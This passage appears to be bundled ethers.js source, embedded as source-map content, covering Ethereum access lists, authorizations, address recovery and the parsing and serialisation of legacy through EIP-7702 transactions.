});\n // We only output named properties for uniquely named coders\n const uniqueNames = this.coders.reduce((accum, coder) => {\n const name = coder.localName;\n if (name) {\n if (!accum[name]) {\n accum[name] = 0;\n }\n accum[name]++;\n }\n return accum;\n }, {});\n // Add named values\n this.coders.forEach((coder, index) => {\n let name = coder.localName;\n if (!name || uniqueNames[name] !== 1) {\n return;\n }\n if (name === \"length\") {\n name = \"_length\";\n }\n if (values[name] != null) {\n return;\n }\n values[name] = values[index];\n });\n return Object.freeze(values);\n }\n encode(writer, _value) {\n const value = Typed.dereference(_value, \"tuple\");\n return pack(writer, this.coders, value);\n }\n decode(reader) {\n return unpack(reader, this.coders);\n }\n}\n//# sourceMappingURL=tuple.js.map","import { getAddress } from \"../address/index.js\";\nimport { assertArgument, isHexString } from \"../utils/index.js\";\nfunction accessSetify(addr, storageKeys) {\n return {\n address: getAddress(addr),\n storageKeys: storageKeys.map((storageKey, index) => {\n assertArgument(isHexString(storageKey, 32), \"invalid slot\", `storageKeys[${index}]`, storageKey);\n return storageKey.toLowerCase();\n })\n };\n}\n/**\n * Returns a [[AccessList]] from any ethers-supported access-list structure.\n */\nexport function accessListify(value) {\n if (Array.isArray(value)) {\n return value.map((set, index) => {\n if (Array.isArray(set)) {\n assertArgument(set.length === 2, \"invalid slot set\", `value[${index}]`, set);\n return accessSetify(set[0], set[1]);\n }\n assertArgument(set != null && typeof (set) === \"object\", \"invalid address-slot set\", \"value\", value);\n return accessSetify(set.address, set.storageKeys);\n });\n }\n assertArgument(value != null && typeof (value) === \"object\", \"invalid access list\", \"value\", value);\n const result = Object.keys(value).map((addr) => {\n const storageKeys = value[addr].reduce((accum, storageKey) => {\n accum[storageKey] = true;\n return accum;\n }, {});\n return accessSetify(addr, Object.keys(storageKeys).sort());\n });\n result.sort((a, b) => (a.address.localeCompare(b.address)));\n return result;\n}\n//# sourceMappingURL=accesslist.js.map","import { getAddress } from \"../address/index.js\";\nimport { Signature } from \"../crypto/index.js\";\nimport { getBigInt } from \"../utils/index.js\";\nexport function authorizationify(auth) {\n return {\n address: getAddress(auth.address),\n nonce: getBigInt((auth.nonce != null) ? auth.nonce : 0),\n chainId: getBigInt((auth.chainId != null) ? auth.chainId : 0),\n signature: Signature.from(auth.signature)\n };\n}\n//# sourceMappingURL=authorization.js.map","import { getAddress } from \"../address/index.js\";\nimport { keccak256, SigningKey } from \"../crypto/index.js\";\n/**\n * Returns the address for the %%key%%.\n *\n * The key may be any standard form of public key or a private key.\n */\nexport function computeAddress(key) {\n let pubkey;\n if (typeof (key) === \"string\") {\n pubkey = SigningKey.computePublicKey(key, false);\n }\n else {\n pubkey = key.publicKey;\n }\n return getAddress(keccak256(\"0x\" + pubkey.substring(4)).substring(26));\n}\n/**\n * Returns the recovered address for the private key that was\n * used to sign %%digest%% that resulted in %%signature%%.\n */\nexport function recoverAddress(digest, signature) {\n return computeAddress(SigningKey.recoverPublicKey(digest, signature));\n}\n//# sourceMappingURL=address.js.map","import { getAddress } from \"../address/index.js\";\nimport { ZeroAddress } from \"../constants/addresses.js\";\nimport { keccak256, sha256, Signature, SigningKey } from \"../crypto/index.js\";\nimport { concat, decodeRlp, encodeRlp, getBytes, getBigInt, getNumber, hexlify, assert, assertArgument, isBytesLike, isHexString, toBeArray, zeroPadValue } from \"../utils/index.js\";\nimport { accessListify } from \"./accesslist.js\";\nimport { authorizationify } from \"./authorization.js\";\nimport { recoverAddress } from \"./address.js\";\nconst BN_0 = BigInt(0);\nconst BN_2 = BigInt(2);\nconst BN_27 = BigInt(27);\nconst BN_28 = BigInt(28);\nconst BN_35 = BigInt(35);\nconst BN_MAX_UINT = BigInt(\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\");\nconst BLOB_SIZE = 4096 * 32;\nfunction getKzgLibrary(kzg) {\n const blobToKzgCommitment = (blob) => {\n if (\"computeBlobProof\" in kzg) {\n // micro-ecc-signer; check for computeBlobProof since this API\n // expects a string while the kzg-wasm below expects a Unit8Array\n if (\"blobToKzgCommitment\" in kzg && typeof (kzg.blobToKzgCommitment) === \"function\") {\n return getBytes(kzg.blobToKzgCommitment(hexlify(blob)));\n }\n }\n else if (\"blobToKzgCommitment\" in kzg && typeof (kzg.blobToKzgCommitment) === \"function\") {\n // kzg-wasm <0.5.0; blobToKzgCommitment(Uint8Array) => Uint8Array\n return getBytes(kzg.blobToKzgCommitment(blob));\n }\n // kzg-wasm >= 0.5.0; blobToKZGCommitment(string) => string\n if (\"blobToKZGCommitment\" in kzg && typeof (kzg.blobToKZGCommitment) === \"function\") {\n return getBytes(kzg.blobToKZGCommitment(hexlify(blob)));\n }\n assertArgument(false, \"unsupported KZG library\", \"kzg\", kzg);\n };\n const computeBlobKzgProof = (blob, commitment) => {\n // micro-ecc-signer\n if (\"computeBlobProof\" in kzg && typeof (kzg.computeBlobProof) === \"function\") {\n return getBytes(kzg.computeBlobProof(hexlify(blob), hexlify(commitment)));\n }\n // kzg-wasm <0.5.0; computeBlobKzgProof(Uint8Array, Uint8Array) => Uint8Array\n if (\"computeBlobKzgProof\" in kzg && typeof (kzg.computeBlobKzgProof) === \"function\") {\n return kzg.computeBlobKzgProof(blob, commitment);\n }\n // kzg-wasm >= 0.5.0; computeBlobKZGProof(string, string) => string\n if (\"computeBlobKZGProof\" in kzg && typeof (kzg.computeBlobKZGProof) === \"function\") {\n return getBytes(kzg.computeBlobKZGProof(hexlify(blob), hexlify(commitment)));\n }\n assertArgument(false, \"unsupported KZG library\", \"kzg\", kzg);\n };\n return { blobToKzgCommitment, computeBlobKzgProof };\n}\nfunction getVersionedHash(version, hash) {\n let versioned = version.toString(16);\n while (versioned.length < 2) {\n versioned = \"0\" + versioned;\n }\n versioned += sha256(hash).substring(4);\n return \"0x\" + versioned;\n}\nfunction handleAddress(value) {\n if (value === \"0x\") {\n return null;\n }\n return getAddress(value);\n}\nfunction handleAccessList(value, param) {\n try {\n return accessListify(value);\n }\n catch (error) {\n assertArgument(false, error.message, param, value);\n }\n}\nfunction handleAuthorizationList(value, param) {\n try {\n if (!Array.isArray(value)) {\n throw new Error(\"authorizationList: invalid array\");\n }\n const result = [];\n for (let i = 0; i < value.length; i++) {\n const auth = value[i];\n if (!Array.isArray(auth)) {\n throw new Error(`authorization[${i}]: invalid array`);\n }\n if (auth.length !== 6) {\n throw new Error(`authorization[${i}]: wrong length`);\n }\n if (!auth[1]) {\n throw new Error(`authorization[${i}]: null address`);\n }\n result.push({\n address: handleAddress(auth[1]),\n nonce: handleUint(auth[2], \"nonce\"),\n chainId: handleUint(auth[0], \"chainId\"),\n signature: Signature.from({\n yParity: handleNumber(auth[3], \"yParity\"),\n r: zeroPadValue(auth[4], 32),\n s: zeroPadValue(auth[5], 32)\n })\n });\n }\n return result;\n }\n catch (error) {\n assertArgument(false, error.message, param, value);\n }\n}\nfunction handleNumber(_value, param) {\n if (_value === \"0x\") {\n return 0;\n }\n return getNumber(_value, param);\n}\nfunction handleUint(_value, param) {\n if (_value === \"0x\") {\n return BN_0;\n }\n const value = getBigInt(_value, param);\n assertArgument(value <= BN_MAX_UINT, \"value exceeds uint size\", param, value);\n return value;\n}\nfunction formatNumber(_value, name) {\n const value = getBigInt(_value, \"value\");\n const result = toBeArray(value);\n assertArgument(result.length <= 32, `value too large`, `tx.${name}`, value);\n return result;\n}\nfunction formatAccessList(value) {\n return accessListify(value).map((set) => [set.address, set.storageKeys]);\n}\nfunction formatAuthorizationList(value) {\n return value.map((a) => {\n return [\n formatNumber(a.chainId, \"chainId\"),\n a.address,\n formatNumber(a.nonce, \"nonce\"),\n formatNumber(a.signature.yParity, \"yParity\"),\n toBeArray(a.signature.r),\n toBeArray(a.signature.s)\n ];\n });\n}\nfunction formatHashes(value, param) {\n assertArgument(Array.isArray(value), `invalid ${param}`, \"value\", value);\n for (let i = 0; i < value.length; i++) {\n assertArgument(isHexString(value[i], 32), \"invalid ${ param } hash\", `value[${i}]`, value[i]);\n }\n return value;\n}\nfunction _parseLegacy(data) {\n const fields = decodeRlp(data);\n assertArgument(Array.isArray(fields) && (fields.length === 9 || fields.length === 6), \"invalid field count for legacy transaction\", \"data\", data);\n const tx = {\n type: 0,\n nonce: handleNumber(fields[0], \"nonce\"),\n gasPrice: handleUint(fields[1], \"gasPrice\"),\n gasLimit: handleUint(fields[2], \"gasLimit\"),\n to: handleAddress(fields[3]),\n value: handleUint(fields[4], \"value\"),\n data: hexlify(fields[5]),\n chainId: BN_0\n };\n // Legacy unsigned transaction\n if (fields.length === 6) {\n return tx;\n }\n const v = handleUint(fields[6], \"v\");\n const r = handleUint(fields[7], \"r\");\n const s = handleUint(fields[8], \"s\");\n if (r === BN_0 && s === BN_0) {\n // EIP-155 unsigned transaction\n tx.chainId = v;\n }\n else {\n // Compute the EIP-155 chain ID (or 0 for legacy)\n let chainId = (v - BN_35) / BN_2;\n if (chainId < BN_0) {\n chainId = BN_0;\n }\n tx.chainId = chainId;\n // Signed Legacy Transaction\n assertArgument(chainId !== BN_0 || (v === BN_27 || v === BN_28), \"non-canonical legacy v\", \"v\", fields[6]);\n tx.signature = Signature.from({\n r: zeroPadValue(fields[7], 32),\n s: zeroPadValue(fields[8], 32),\n v\n });\n //tx.hash = keccak256(data);\n }\n return tx;\n}\nfunction _serializeLegacy(tx, sig) {\n const fields = [\n formatNumber(tx.nonce, \"nonce\"),\n formatNumber(tx.gasPrice || 0, \"gasPrice\"),\n formatNumber(tx.gasLimit, \"gasLimit\"),\n (tx.to || \"0x\"),\n formatNumber(tx.value, \"value\"),\n tx.data,\n ];\n let chainId = BN_0;\n if (tx.chainId != BN_0) {\n // A chainId was provided; if non-zero we'll use EIP-155\n chainId = getBigInt(tx.chainId, \"tx.chainId\");\n // We have a chainId in the tx and an EIP-155 v in the signature,\n // make sure they agree with each other\n assertArgument(!sig || sig.networkV == null || sig.legacyChainId === chainId, \"tx.chainId/sig.v mismatch\", \"sig\", sig);\n }\n else if (tx.signature) {\n // No explicit chainId, but EIP-155 have a derived implicit chainId\n const legacy = tx.signature.legacyChainId;\n if (legacy != null) {\n chainId = legacy;\n }\n }\n // Requesting an unsigned transaction\n if (!sig) {\n // We have an EIP-155 transaction (chainId was specified and non-zero)\n if (chainId !== BN_0) {\n fields.push(toBeArray(chainId));\n fields.push(\"0x\");\n fields.push(\"0x\");\n }\n return encodeRlp(fields);\n }\n // @TODO: We should probably check that tx.signature, chainId, and sig\n // match but that logic could break existing code, so schedule\n // this for the next major bump.\n // Compute the EIP-155 v\n let v = BigInt(27 + sig.yParity);\n if (chainId !== BN_0) {\n v = Signature.getChainIdV(chainId, sig.v);\n }\n else if (BigInt(sig.v) !== v) {\n assertArgument(false, \"tx.chainId/sig.v mismatch\", \"sig\", sig);\n }\n // Add the signature\n fields.push(toBeArray(v));\n fields.push(toBeArray(sig.r));\n fields.push(toBeArray(sig.s));\n return encodeRlp(fields);\n}\nfunction _parseEipSignature(tx, fields) {\n let yParity;\n try {\n yParity = handleNumber(fields[0], \"yParity\");\n if (yParity !== 0 && yParity !== 1) {\n throw new Error(\"bad yParity\");\n }\n }\n catch (error) {\n assertArgument(false, \"invalid yParity\", \"yParity\", fields[0]);\n }\n const r = zeroPadValue(fields[1], 32);\n const s = zeroPadValue(fields[2], 32);\n const signature = Signature.from({ r, s, yParity });\n tx.signature = signature;\n}\nfunction _parseEip1559(data) {\n const fields = decodeRlp(getBytes(data).slice(1));\n assertArgument(Array.isArray(fields) && (fields.length === 9 || fields.length === 12), \"invalid field count for transaction type: 2\", \"data\", hexlify(data));\n const tx = {\n type: 2,\n chainId: handleUint(fields[0], \"chainId\"),\n nonce: handleNumber(fields[1], \"nonce\"),\n maxPriorityFeePerGas: handleUint(fields[2], \"maxPriorityFeePerGas\"),\n maxFeePerGas: handleUint(fields[3], \"maxFeePerGas\"),\n gasPrice: null,\n gasLimit: handleUint(fields[4], \"gasLimit\"),\n to: handleAddress(fields[5]),\n value: handleUint(fields[6], \"value\"),\n data: hexlify(fields[7]),\n accessList: handleAccessList(fields[8], \"accessList\"),\n };\n // Unsigned EIP-1559 Transaction\n if (fields.length === 9) {\n return tx;\n }\n //tx.hash = keccak256(data);\n _parseEipSignature(tx, fields.slice(9));\n return tx;\n}\nfunction _serializeEip1559(tx, sig) {\n const fields = [\n formatNumber(tx.chainId, \"chainId\"),\n formatNumber(tx.nonce, \"nonce\"),\n formatNumber(tx.maxPriorityFeePerGas || 0, \"maxPriorityFeePerGas\"),\n formatNumber(tx.maxFeePerGas || 0, \"maxFeePerGas\"),\n formatNumber(tx.gasLimit, \"gasLimit\"),\n (tx.to || \"0x\"),\n formatNumber(tx.value, \"value\"),\n tx.data,\n formatAccessList(tx.accessList || [])\n ];\n if (sig) {\n fields.push(formatNumber(sig.yParity, \"yParity\"));\n fields.push(toBeArray(sig.r));\n fields.push(toBeArray(sig.s));\n }\n return concat([\"0x02\", encodeRlp(fields)]);\n}\nfunction _parseEip2930(data) {\n const fields = decodeRlp(getBytes(data).slice(1));\n assertArgument(Array.isArray(fields) && (fields.length === 8 || fields.length === 11), \"invalid field count for transaction type: 1\", \"data\", hexlify(data));\n const tx = {\n type: 1,\n chainId: handleUint(fields[0], \"chainId\"),\n nonce: handleNumber(fields[1], \"nonce\"),\n gasPrice: handleUint(fields[2], \"gasPrice\"),\n gasLimit: handleUint(fields[3], \"gasLimit\"),\n to: handleAddress(fields[4]),\n value: handleUint(fields[5], \"value\"),\n data: hexlify(fields[6]),\n accessList: handleAccessList(fields[7], \"accessList\")\n };\n // Unsigned EIP-2930 Transaction\n if (fields.length === 8) {\n return tx;\n }\n //tx.hash = keccak256(data);\n _parseEipSignature(tx, fields.slice(8));\n return tx;\n}\nfunction _serializeEip2930(tx, sig) {\n const fields = [\n formatNumber(tx.chainId, \"chainId\"),\n formatNumber(tx.nonce, \"nonce\"),\n formatNumber(tx.gasPrice || 0, \"gasPrice\"),\n formatNumber(tx.gasLimit, \"gasLimit\"),\n (tx.to || \"0x\"),\n formatNumber(tx.value, \"value\"),\n tx.data,\n formatAccessList(tx.accessList || [])\n ];\n if (sig) {\n fields.push(formatNumber(sig.yParity, \"recoveryParam\"));\n fields.push(toBeArray(sig.r));\n fields.push(toBeArray(sig.s));\n }\n return concat([\"0x01\", encodeRlp(fields)]);\n}\nfunction _parseEip4844(data) {\n let fields = decodeRlp(getBytes(data).slice(1));\n let typeName = \"3\";\n let blobs = null;\n // Parse the network format\n if (fields.length === 4 && Array.isArray(fields[0])) {\n typeName = \"3 (network format)\";\n const fBlobs = fields[1], fCommits = fields[2], fProofs = fields[3];\n assertArgument(Array.isArray(fBlobs), \"invalid network format: blobs not an array\", \"fields[1]\", fBlobs);\n assertArgument(Array.isArray(fCommits), \"invalid network format: commitments not an array\", \"fields[2]\", fCommits);\n assertArgument(Array.isArray(fProofs), \"invalid network format: proofs not an array\", \"fields[3]\", fProofs);\n assertArgument(fBlobs.length === fCommits.length, \"invalid network format: blobs/commitments length mismatch\", \"fields\", fields);\n assertArgument(fBlobs.length === fProofs.length, \"invalid network format: blobs/proofs length mismatch\", \"fields\", fields);\n blobs = [];\n for (let i = 0; i < fields[1].length; i++) {\n blobs.push({\n data: fBlobs[i],\n commitment: fCommits[i],\n proof: fProofs[i],\n });\n }\n fields = fields[0];\n }\n assertArgument(Array.isArray(fields) && (fields.length === 11 || fields.length === 14), `invalid field count for transaction type: ${typeName}`, \"data\", hexlify(data));\n const tx = {\n type: 3,\n chainId: handleUint(fields[0], \"chainId\"),\n nonce: handleNumber(fields[1], \"nonce\"),\n maxPriorityFeePerGas: handleUint(fields[2], \"maxPriorityFeePerGas\"),\n maxFeePerGas: handleUint(fields[3], \"maxFeePerGas\"),\n gasPrice: null,\n gasLimit: handleUint(fields[4], \"gasLimit\"),\n to: handleAddress(fields[5]),\n value: handleUint(fields[6], \"value\"),\n data: hexlify(fields[7]),\n accessList: handleAccessList(fields[8], \"accessList\"),\n maxFeePerBlobGas: handleUint(fields[9], \"maxFeePerBlobGas\"),\n blobVersionedHashes: fields[10]\n };\n if (blobs) {\n tx.blobs = blobs;\n }\n assertArgument(tx.to != null, `invalid address for transaction type: ${typeName}`, \"data\", data);\n assertArgument(Array.isArray(tx.blobVersionedHashes), \"invalid blobVersionedHashes: must be an array\", \"data\", data);\n for (let i = 0; i < tx.blobVersionedHashes.length; i++) {\n assertArgument(isHexString(tx.blobVersionedHashes[i], 32), `invalid blobVersionedHash at index ${i}: must be length 32`, \"data\", data);\n }\n // Unsigned EIP-4844 Transaction\n if (fields.length === 11) {\n return tx;\n }\n // @TODO: Do we need to do this? This is only called internally\n // and used to verify hashes; it might save time to not do this\n //tx.hash = keccak256(concat([ \"0x03\", encodeRlp(fields) ]));\n _parseEipSignature(tx, fields.slice(11));\n return tx;\n}\nfunction _serializeEip4844(tx, sig, blobs) {\n const fields = [\n formatNumber(tx.chainId, \"chainId\"),\n formatNumber(tx.nonce, \"nonce\"),\n formatNumber(tx.maxPriorityFeePerGas || 0, \"maxPriorityFeePerGas\"),\n formatNumber(tx.maxFeePerGas || 0, \"maxFeePerGas\"),\n formatNumber(tx.gasLimit, \"gasLimit\"),\n (tx.to || ZeroAddress),\n formatNumber(tx.value, \"value\"),\n tx.data,\n formatAccessList(tx.accessList || []),\n formatNumber(tx.maxFeePerBlobGas || 0, \"maxFeePerBlobGas\"),\n formatHashes(tx.blobVersionedHashes || [], \"blobVersionedHashes\")\n ];\n if (sig) {\n fields.push(formatNumber(sig.yParity, \"yParity\"));\n fields.push(toBeArray(sig.r));\n fields.push(toBeArray(sig.s));\n // We have blobs; return the network wrapped format\n if (blobs) {\n return concat([\n \"0x03\",\n encodeRlp([\n fields,\n blobs.map((b) => b.data),\n blobs.map((b) => b.commitment),\n blobs.map((b) => b.proof),\n ])\n ]);\n }\n }\n return concat([\"0x03\", encodeRlp(fields)]);\n}\nfunction _parseEip7702(data) {\n const fields = decodeRlp(getBytes(data).slice(1));\n assertArgument(Array.isArray(fields) && (fields.length === 10 || fields.length === 13), \"invalid field count for transaction type: 4\", \"data\", hexlify(data));\n const tx = {\n type: 4,\n chainId: handleUint(fields[0], \"chainId\"),\n nonce: handleNumber(fields[1], \"nonce\"),\n maxPriorityFeePerGas: handleUint(fields[2], \"maxPriorityFeePerGas\"),\n maxFeePerGas: handleUint(fields[3], \"maxFeePerGas\"),\n gasPrice: null,\n gasLimit: handleUint(fields[4], \"gasLimit\"),\n to: handleAddress(fields[5]),\n value: handleUint(fields[6], \"value\"),\n data: hexlify(fields[7]),\n accessList: handleAccessList(fields[8], \"accessList\"),\n authorizationList: handleAuthorizationList(fields[9], \"authorizationList\"),\n };\n // Unsigned EIP-7702 Transaction\n if (fields.length === 10) {\n return tx;\n }\n _parseEipSignature(tx, fields.slice(10));\n return tx;\n}\nfunction _serializeEip7702(tx, sig) {\n const fields = [\n formatNumber(tx.chainId, \"chainId\"),\n formatNumber(tx.nonce, \"nonce\"),\n formatNumber(tx.maxPriorityFeePerGas || 0, \"maxPriorityFeePerGas\"),\n formatNumber(tx.maxFeePerGas || 0, \"maxFeePerGas\"),\n formatNumber(tx.gasLimit, \"gasLimit\"),\n (tx.to || \"0x\"),\n formatNumber(tx.value, \"value\"),\n tx.data,\n formatAccessList(tx.accessList || []),\n formatAuthorizationList(tx.authorizationList || [])\n ];\n if (sig) {\n fields.push(formatNumber(sig.yParity, \"yParity\"));\n fields.push(toBeArray(sig.r));\n fields.push(toBeArray(sig.s));\n }\n return concat([\"0x04\", encodeRlp(fields)]);\n}\n/**\n * A **Transaction** describes an operation to be executed on\n * Ethereum by an Externally Owned Account (EOA). It includes\n * who (the [[to]] address), what (the [[data]]) and how much (the\n * [[value]] in ether) the operation should entail.\n *\n * @example:\n * tx = new Transaction()\n * //_result:\n *\n * tx.data = \"0x1234\";\n * //_result:\n */\nexport class Transaction {\n #type;\n #to;\n #data;\n #nonce;\n #gasLimit;\n #gasPrice;\n #maxPriorityFeePerGas;\n #maxFeePerGas;\n #value;\n #chainId;\n #sig;\n #accessList;\n #maxFeePerBlobGas;\n #blobVersionedHashes;\n #kzg;\n #blobs;\n #auths;\n /**\n * The transaction type.\n *\n * If null, the type will be automatically inferred based on\n * explicit properties.\n */\n get type() { return this.#type; }\n set type(value) {\n switch (value) {\n case null:\n this.#type = null;\n break;\n case 0:\n case \"legacy\":\n this.#type = 0;\n break;\n case 1:\n case \"berlin\":\n case \"eip-2930\":\n this.#type = 1;\n break;\n case 2:\n case \"london\":\n case \"eip-1559\":\n this.#type = 2;\n break;\n case 3:\n case \"cancun\":\n case \"eip-4844\":\n this.#type = 3;\n break;\n case 4:\n case \"pectra\":\n case \"eip-7702\":\n this.#type = 4;\n break;\n default:\n assertArgument(false, \"unsupported transaction type\", \"type\", value);\n }\n }\n /**\n * The name of the transaction type.\n */\n get typeName() {\n switch (this.type) {\n case 0: return \"legacy\";\n case 1: return \"eip-2930\";\n case 2: return \"eip-1559\";\n case 3: return \"eip-4844\";\n case 4: return \"eip-7702\";\n }\n return null;\n }\n /**\n * The ``to`` address for the transaction or ``null`` if the\n * transaction is an ``init`` transaction.\n */\n get to() {\n const value = this.#to;\n if (value == null && this.type === 3) {\n return ZeroAddress;\n }\n return value;\n }\n set to(value) {\n this.#to = (value == null) ? null : getAddress(value);\n }\n /**\n * The transaction nonce.\n */\n get nonce() { return this.#nonce; }\n set nonce(value) { this.#nonce = getNumber(value, \"value\"); }\n /**\n * The gas limit.\n */\n get gasLimit() { return this.#gasLimit; }\n set gasLimit(value) { this.#gasLimit = getBigInt(value); }\n /**\n * The gas price.\n *\n * On legacy networks this defines the fee that will be paid. On\n * EIP-1559 networks, this should be ``null``.\n */\n get gasPrice() {\n const value = this.#gasPrice;\n if (value == null && (this.type === 0 || this.type === 1)) {\n return BN_0;\n }\n return value;\n }\n set gasPrice(value) {\n this.#gasPrice = (value == null) ? null : getBigInt(value, \"gasPrice\");\n }\n /**\n * The maximum priority fee per unit of gas to pay. On legacy\n * networks this should be ``null``.\n */\n get maxPriorityFeePerGas() {\n const value = this.#maxPriorityFeePerGas;\n if (value == null) {\n if (this.type === 2 || this.type === 3) {\n return BN_0;\n }\n return null;\n }\n return value;\n }\n set maxPriorityFeePerGas(value) {\n this.#maxPriorityFeePerGas = (value == null) ? null : getBigInt(value, \"maxPriorityFeePerGas\");\n }\n /**\n * The maximum total fee per unit of gas to pay. On legacy\n * networks this should be ``null``.\n */\n get maxFeePerGas() {\n const value = this.#maxFeePerGas;\n if (value == null) {\n if (this.type === 2 || this.type === 3) {\n return BN_0;\n }\n return null;\n }\n return value;\n }\n set maxFeePerGas(value) {\n this.#maxFeePerGas = (value == null) ? null : getBigInt(value, \"maxFeePerGas\");\n }\n /**\n * The transaction data. For ``init`` transactions this is the\n * deployment code.\n */\n get data() { return this.#data; }\n set data(value) { this.#data = hexlify(value); }\n /**\n * The amount of ether (in wei) to send in this transactions.\n */\n get value() { return this.#value; }\n set value(value) {\n this.#value = getBigInt(value, \"value\");\n }\n /**\n * The chain ID this transaction is valid on.\n */\n get chainId() { return this.#chainId; }\n set chainId(value) { this.#chainId = getBigInt(value); }\n /**\n * If signed, the signature for this transaction.\n */\n get signature() { return this.#sig || null; }\n set signature(value) {\n this.#sig = (value == null) ? null : Signature.from(value);\n }\n /**\n * The access list.\n *\n * An access list permits discounted (but pre-paid) access to\n * bytecode and state variable access within contract execution.\n */\n get accessList() {\n const value = this.#accessList || null;\n if (value == null) {\n if (this.type === 1 || this.type === 2 || this.type === 3) {\n // @TODO: in v7, this should assign the value or become\n // a live object itself, otherwise mutation is inconsistent\n return [];\n }\n return null;\n }\n return value;\n }\n set accessList(value) {\n this.#accessList = (value == null) ? null : accessListify(value);\n }\n get authorizationList() {\n const value = this.#auths || null;\n if (value == null) {\n if (this.type === 4) {\n // @TODO: in v7, this should become a live object itself,\n // otherwise mutation is inconsistent\n return [];\n }\n }\n return value;\n }\n set authorizationList(auths) {\n this.#auths = (auths == null) ? null : auths.map((a) => authorizationify(a));\n }\n /**\n * The max fee per blob gas for Cancun transactions.\n */\n get maxFeePerBlobGas() {\n const value = this.#maxFeePerBlobGas;\n if (value == null && this.type === 3) {\n return BN_0;\n }\n return value;\n }\n set maxFeePerBlobGas(value) {\n this.#maxFeePerBlobGas = (value == null) ? null : getBigInt(value, \"maxFeePerBlobGas\");\n }\n /**\n * The BLOb versioned hashes for Cancun transactions.\n */\n get blobVersionedHashes() {\n // @TODO: Mutation is inconsistent; if unset, the returned value\n // cannot mutate the object, if set it can\n let value = this.#blobVersionedHashes;\n if (value == null && this.type === 3) {\n return [];\n }\n return value;\n }\n set blobVersionedHashes(value) {\n if (value != null) {\n assertArgument(Array.isArray(value), \"blobVersionedHashes must be an Array\", \"value\", value);\n value = value.slice();\n for (let i = 0; i < value.length; i++) {\n assertArgument(isHexString(value[i], 32), \"invalid blobVersionedHash\", `value[${i}]`, value[i]);\n }\n }\n this.#blobVersionedHashes = value;\n }\n /**\n * The BLObs for the Transaction, if any.\n *\n * If ``blobs`` is non-``null``, then the [[seriailized]]\n * will return the network formatted sidecar, otherwise it\n * will return the standard [[link-eip-2718]] payload. The\n * [[unsignedSerialized]] is unaffected regardless.\n *\n * When setting ``blobs``, either fully valid [[Blob]] objects\n * may be specified (i.e. correctly padded, with correct\n * committments and proofs) or a raw [[BytesLike]] may\n * be provided.\n *\n * If raw [[BytesLike]] are provided, the [[kzg]] property **must**\n * be already set. The blob will be correctly padded and the\n * [[KzgLibrary]] will be used to compute the committment and\n * proof for the blob.\n *\n * A BLOb is a sequence of field elements, each of which must\n * be within the BLS field modulo, so some additional processing\n * may be required to encode arbitrary data to ensure each 32 byte\n * field is within the valid range.\n *\n * Setting this automatically populates [[blobVersionedHashes]],\n * overwriting any existing values. Setting this to ``null``\n * does **not** remove the [[blobVersionedHashes]], leaving them\n * present.\n */\n get blobs() {\n if (this.#blobs == null) {\n return null;\n }\n return this.#blobs.map((b) => Object.assign({}, b));\n }\n set blobs(_blobs) {\n if (_blobs == null) {\n this.#blobs = null;\n return;\n }\n const blobs = [];\n const versionedHashes = [];\n for (let i = 0; i < _blobs.length; i++) {\n const blob = _blobs[i];\n if (isBytesLike(blob)) {\n assert(this.#kzg, \"adding a raw blob requires a KZG library\", \"UNSUPPORTED_OPERATION\", {\n operation: \"set blobs()\"\n });\n let data = getBytes(blob);\n assertArgument(data.length <= BLOB_SIZE, \"blob is too large\", `blobs[${i}]`, blob);\n // Pad blob if necessary\n if (data.length !== BLOB_SIZE) {\n const padded = new Uint8Array(BLOB_SIZE);\n padded.set(data);\n data = padded;\n }\n const commit = this.#kzg.blobToKzgCommitment(data);\n const proof = hexlify(this.#kzg.computeBlobKzgProof(data, commit));\n blobs.push({\n data: hexlify(data),\n commitment: hexlify(commit),\n proof\n });\n versionedHashes.push(getVersionedHash(1, commit));\n }\n else {\n const commit = hexlify(blob.commitment);\n blobs.push({\n data: hexlify(blob.data),\n commitment: commit,\n proof: hexlify(blob.proof)\n });\n versionedHashes.push(getVersionedHash(1, commit));\n }\n }\n this.#blobs = blobs;\n this.#blobVersionedHashes = versionedHashes;\n }\n get kzg() { return this.#kzg; }\n set kzg(kzg) {\n if (kzg == null) {\n this.#kzg = null;\n }\n else {\n this.#kzg = getKzgLibrary(kzg);\n }\n }\n /**\n * Creates a new Transaction with default values.\n */\n constructor() {\n this.#type = null;\n this.#to = null;\n this.#nonce = 0;\n this.#gasLimit = BN_0;\n this.#gasPrice = null;\n this.#maxPriorityFeePerGas = null;\n this.#maxFeePerGas = null;\n this.#data = \"0x\";\n this.#value = BN_0;\n this.#chainId = BN_0;\n this.#sig = null;\n this.#accessList = null;\n this.#maxFeePerBlobGas = null;\n this.#blobVersionedHashes = null;\n this.#kzg = null;\n this.#blobs = null;\n this.#auths = null;\n }\n /**\n * The transaction hash, if signed. Otherwise, ``null``.\n */\n get hash() {\n if (this.signature == null) {\n return null;\n }\n return keccak256(this.#getSerialized(true, false));\n }\n /**\n * The pre-image hash of this transaction.\n *\n * This is the digest that a [[Signer]] must sign to authorize\n * this transaction.\n */\n get unsignedHash() {\n return keccak256(this.unsignedSerialized);\n }\n /**\n * The sending address, if signed. Otherwise, ``null``.\n */\n get from() {\n if (this.signature == null) {\n return null;\n }\n return recoverAddress(this.unsignedHash, this.signature);\n }\n /**\n * The public key of the sender, if signed. Otherwise, ``null``.\n */\n get fromPublicKey() {\n if (this.signature == null) {\n return null;\n }\n return SigningKey.recoverPublicKey(this.unsignedHash, this.signature);\n }\n /**\n * Returns true if signed.\n *\n * This provides a Type Guard that properties requiring a signed\n * transaction are non-null.\n */\n isSigned() {\n return this.signature != null;\n }\n #getSerialized(signed, sidecar) {\n assert(!signed || this.signature != null, \"cannot serialize unsigned transaction; maybe you meant .unsignedSerialized\", \"UNSUPPORTED_OPERATION\", { operation: \".serialized\" });\n const sig = signed ? this.signature : null;\n switch (this.inferType()) {\n case 0:\n return _serializeLegacy(this, sig);\n case 1:\n return _serializeEip2930(this, sig);\n case 2:\n return _serializeEip1559(this, sig);\n case 3:\n return _serializeEip4844(this, sig, sidecar ? this.blobs : null);\n case 4:\n return _serializeEip7702(this, sig);\n }\n assert(false, \"unsupported transaction type\", \"UNSUPPORTED_OPERATION\", { operation: \".serialized\" });\n }\n /**\n * The serialized transaction.\n *\n * This throws if the transaction is unsigned. For the pre-image,\n * use [[unsignedSerialized]].\n */\n get serialized() {\n return this.#getSerialized(true, true);\n }\n /**\n * The transaction pre-image.\n *\n * The hash of this is the digest which needs to be signed to\n * authorize this transaction.\n */\n get unsignedSerialized() {\n return this.#getSerialized(false, false);\n }\n /**\n * Return the most \"likely\" type; currently the highest\n * supported transaction type.\n */\n inferType() {\n const 